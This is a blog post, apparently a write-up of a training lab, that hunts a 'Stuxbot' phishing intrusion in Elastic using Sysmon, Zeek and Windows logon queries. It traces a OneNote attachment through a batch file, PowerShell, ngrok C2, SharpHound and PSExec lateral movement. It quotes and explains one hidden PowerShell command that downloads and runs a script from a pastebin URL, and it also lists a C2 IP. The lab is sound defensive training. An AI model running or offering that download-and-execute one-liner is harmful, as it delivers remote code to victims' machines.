Blue Team Odyssey

A journey to Blue Team by RJ Hall

About Me

INTRODUCTION TO THREAT HUNTING & HUNTING WITH ELASTIC

  1. Hunting For Stuxbot
    1. To start we are opening our VM and heading to HTB’s existing Elastic Stack at
      1. http://[TargetIP]:5601
        1. Heads up this can take a minute to spin up and you might face a no connection screen for few
      2. Once it’s up also head over to http://[Target IP]:5601/app/management/kibana/settings
        1. Here we want to swap our timezone to EU/Copenhagen
    2. The Task
      1. Our task centers around a threat intelligence report concerning a malicious software known as “Stuxbot”. We’re expected to use the provided Indicators of Compromise (IOCs) to investigate whether there are any signs of compromise in our organization
    3. The Hunt
      1. The sequence of hunting activities is premised on the hypothesis of a successful phishing email delivering a malicious OneNote file. If our hypothesis had been the successful execution of a binary with a hash matching one from the threat intelligence report, we would have undertaken a different sequence of activities
    4. Report Details:
      1. The report indicates that initial compromises all took place via “invoice.one” files
      2. We will also want to take a look at event.code: 15 (FileCreateStreamHash), which represents a browser file download even
    5. Inside Elastic head over to ‘Discover’ on the left hand side action bar
      1. The way I prefer to action the next steps is on the left hand side ‘search field names’
        1. I like this way because it shows total hits as you pull them up, giving you a heads up if you are pulling anything or possibly messed you search up and getting zero hits
        2. You can also build filters at the top
      2. Populate event.code: 15
      3. Populate file.name: Invoice.one
    6. Already we see our 3 hits could indicate a serious issue, lets dive further
      1. Expanding one of the hits and scrolling down to process.name we see msedge.exe
      3. Also process.executable
      5. Another very important marker, we see our “related.user” which is our employee: Bob
      6. With a timestamp to note: March 26, 2023 @ 20:05:47
    7. We will want to cross check into Event ID 11 now (File create) and the “invoice.one” file name. This is effective when a browser wasn’t the source of the download of a file
      1. You’ll notice the asterisk is at the end of the filename. This type of search is used to find all file names that start with a specific pattern. For example, report* will match any file name that starts with report, regardless of what comes after it (e.g., report2021.pdf, report_final.docx).
      2. The * how I think of it is prefix vs suffix, its checking for the name at different intervals based on where you put the marker
    8. Back to our results we have 1 hit
      2. Some additional information we can take away from this hit is:
        1. “host.hostname” : WS001
          1. This is our machine that reported the Invoice.one file
        2. “host.ip” : 192.168.28.130
      3. The above can be confirmed by checking any network connection event (Sysmon Event ID 3) from this machine
        1. Go back to our KQL and use the following query: event.code:3 AND host.hostname:WS001
        2. On the left hand side pull the source.ip field and filter it by WS001 IP from above
      4. If we attempted to leverage further and try to look at event.code 3 (Network connection) we wouldn’t find anything from Sysmon. This is a common configuration to avoid capturing network connections created by browsers
    9. Zeek Query
      1. On our left hand side, lets drop down and move to Zeek
        1. Zeek logs can be ingested and queried to gain insights into network traffic, detect anomalies, and investigate security incidents
        2. Which we can use with our IP address we found above 192.168.28.130
        3. Lets go up and shoot our query: source.ip:192.168.28.130 AND dns.question.name:*
          1. This is going to create a lot of noise
          2. One way to filter the noise out is going on out left hand side and taking a look at “dns.question.name” which shows
            2. Here we can filter out the obvious stuff we don’t want to pull
            3. Let’s also update our date range to lower the number more
            4. And let’s add our “dns.question.name” as a column to our table
              2. Here we see what looks to be the file hosting site
              3. And further down we see email accessing happening
            5. Dropping into file.io we can see the dns.answers.data which is our returned IP from the file hosting site
        4. Now lets pivot and check for that destination IP using Zeek
            1. And lets add a few columns to our search
              1. source.ip (our machine that sent out the call to the destination)
              2. Destination.port (the port of the destination IP the call was made through)
        5. This information all together confirms that a user, Bob, successfully downloaded the file “invoice.one” from the hosting provider “file.io”
        6. Now let’s continue to trace the sequence of events post the OneNote file download.
      2. Going back to our file, we know it was “Invoice.one” which means the OneNote application would have opened and been accessed
        1. Move back to Windows in Discovery
        2. Change our date to span last 15 years
        3. And pop our query into Elastic
          1. event.code:1 AND process.command_line:*invoice.one*
            1. Event code 1: is our process creation
            2. Searching with *invoice.one will match any term that ends with “invoice.one”. Our “ * “ is designating a suffix search
        4. Ensure you remove your past filters like dns.question.name
        5. Here we found one hit confirming that OneNote DID open with a slight delay
        6. Its reasonable to assume at this point that with this confirmed that the opening of Invoice.one held a malicious file or link
        7. Moving forward we can begin checking for any actions where Onenote.exe acts as the parent process
        8. Let’s do a query search and see what we can find using:
          1. event.code:1 AND process.parent.name:”ONENOTE.EXE”
        9. We got 3 hits, with 2 of them falling within our timeline and the third falling outside of that
        11. Opening up our middle log we see Onenote.exe being executed from cmd.exe and opening our invoice.one file
        12. Up to this point we have now established that the email containing the invoice.one, when opened, downloaded a file and executed using cmd.exe which initiated our invoice.bat file.
          1. Now we ask: Has this batch script instigated anything?
        13. Let’s change our query and see what we can find:
          1. event.code:1 AND process.parent.command_line:*invoice.bat*
          2. Make sure to add our “process.name” to our columns as this will help us understand what is being executed
          3. Process.args which tells us what arguments were used
          4. And Process.PID to see the process ID associated with it
        14. We get one hit showing powershell being initiated and a very suspicious argument being used
        15. Breaking down the argument into a few pieces:
          1. powershell.exe: This is the executable for running PowerShell commands
          2. -nop: This stands for “No Profile”. It starts PowerShell without loading the user’s profile script. This is often used to speed up execution and avoid any custom configurations that might interfere
          3. -w hidden: This sets the window style to hidden, so no console window will be displayed when the script is run.
          4. -noni: This stands for “No Interactive”. It starts PowerShell without interactive input, which is useful for scripts that should run without user interaction
          5. -noexit: This option keeps the PowerShell window open after the script has finished executing. However, in this context, since the window is hidden, it might not have a noticeable effect
          6. iex: This is a shorthand for the Invoke-Expression cmdlet, which executes a string as a PowerShell command
          7. (iwr https://pastebin.com/raw/33Z1jP6J -usebasicparsing): This part of the command downloads the content from the specified URL using the Invoke-WebRequest cmdlet (iwr). The -usebasicparsing switch is used to avoid dependency on Internet Explorer components, which makes the command compatible with systems that don’t have IE installed or properly configured
          8. In summary, this command executes a PowerShell script fetched from a URL in a hidden, non-interactive PowerShell session without loading the user profile, and it keeps the session open after execution. This is often used for downloading and running scripts directly from the internet
        16. To figure out what PowerShell did, we can filter based on the process ID and name to get an overview of activities. Note that we have added the event.code field as a column.
          1. Change our query to:
            1. process.pid:”9944″ and process.name:”powershell.exe”
          1. Almost immediately we can see an output indicating file creation, attempted network connections, and some DNS resolutions leveraging Sysmon Event ID 22 (DNSEvent)
          2. Let’s add further columns to gain more insights
            1. file.path, dns.question.name, and destination.ip
        19. Ngrok was likely used as a Command and Control (C2) server to disguise malicious traffic directed to a recognized domain. Analysis of the DNS resolution for Ngrok reveals that the connections point to an IP address on port 443, suggesting that the traffic was encrypted
        20. If we look at the connections right above the NGRock DNS resolution we see that the destination.port of 443 was used. This implies the data was encrypted.
        21. The dropped EXE appears to be intended for persistence. Its unique name can help determine if it was ever executed. It’s crucial to consider the timestamps, as there is a noticeable gap between different activities. This suggests that it may not have been scripted but rather involved human interaction (unless random sleep intervals were used between actions). The final steps taken by this process include a DNS query for “DC1” and subsequent connections to it
        22. Let’s dive into that destination IP of 18.158.249.75 over in Zeek
        23. Intriguingly, the activity seems to have extended into the subsequent day. The reason for the termination of the activity is unclear… Was there a change in C2 IP? Or did the attack simply halt?
        24. Checking in on “ngrock” query we see that the IP changed as it moved into the next day
        25. It’s apparent that the network activity is sustaining and C2 has been accessed continually
        26. Earlier we saw a default.exe file, but we havent seen if its been executed. Let’s head back to windows discovery and change our query: process.name:”default.exe”
        27. Note that the process.name, process.args, event.code, file.path, destination.ip, and dns.question.name fields were added as columns
        28. We can see it did in fact execute and we see it has established connections to the C2
        29. Scrolling down a bit we see two uploaded files
          2. Sharphound.exe:  is a recognized tool for diagramming Active Directory and identifying attack paths for escalation
          3. Svchost.exe: We aren’t sure if this is malicious. As this is a legitimate name for a windows operating system. However it could be mimicking the name
        30. Scrolling up a bit further we see this executable uploading another file called payload.exe
        31. A visual basic file
        32. And repeated uploads to svchost.exe
        33. Following similar steps, lets see if Sharphound executed
          1. You should see 4 hits and confirmation it did execute, roughly 2 mins between
        34. Looking back at default.exe we could also see an associated hash.sha256:
        35. Let’s change our query to broadly look at this hash
          1. Process.hash.sha256:018d37cbd3878258c29db3bc3f2988b6ae688843801b9abc28e6151141ab66d4
        36. Files with this hash value have been found on WS001 and PKI, indicating that the attacker has also breached the PKI server at a minimum. It also appears that a backdoor file has been placed under the profile of user “svc-sql1”, suggesting that this user’s account is likely compromised
        37. Upon examining the initial execution of “default.exe” on PKI, we observed that the parent process was “PSEXESVC,” a component of PSExec from SysInternals. PSExec is commonly used for executing commands remotely and is frequently employed for lateral movement during Active Directory breaches
        38. Further down the same log, we notice “svc-sql1” in the user.name field, confirming the compromise of this user
        39. We still don’t have an answer to how “svc-sql1” was compromised. It’s possible the password was brute forced. One area to check would be our original machine WS001. We can look for failed and successful password attempts that came from WS001 that wasn’t from our user Bob
        40. We will change our query to check:
          1. (event.code:4624 OR event.code:4625) AND winlog.event_data.LogonType:3 AND source.ip:192.168.28.130
          2. We will also remove “bob” and “ws001$” to avoid noise
          3. Remove our old columns and add
            1. Event.code : To look for 4624 and 4625 codes that shows for successful and failed attempts respectively
            2. Agent.hostname: to see the name of the machines
            3. User.name: to see what user is attempting the logins
        41. The findings are quite intriguing – there were two failed login attempts for the administrator account around the time the initial suspicious activity was observed. Following this, numerous successful logon attempts for “svc-sql1” were recorded. It seems there was an attempt to crack the administrator’s password that failed. However, two days later, on the 27th, we noticed successful login attempts using the “svc-sql1” account
        42. At this stage, we have amassed a significant amount of information to present and initiate a comprehensive incident response, in accordance with company policies

Leave a comment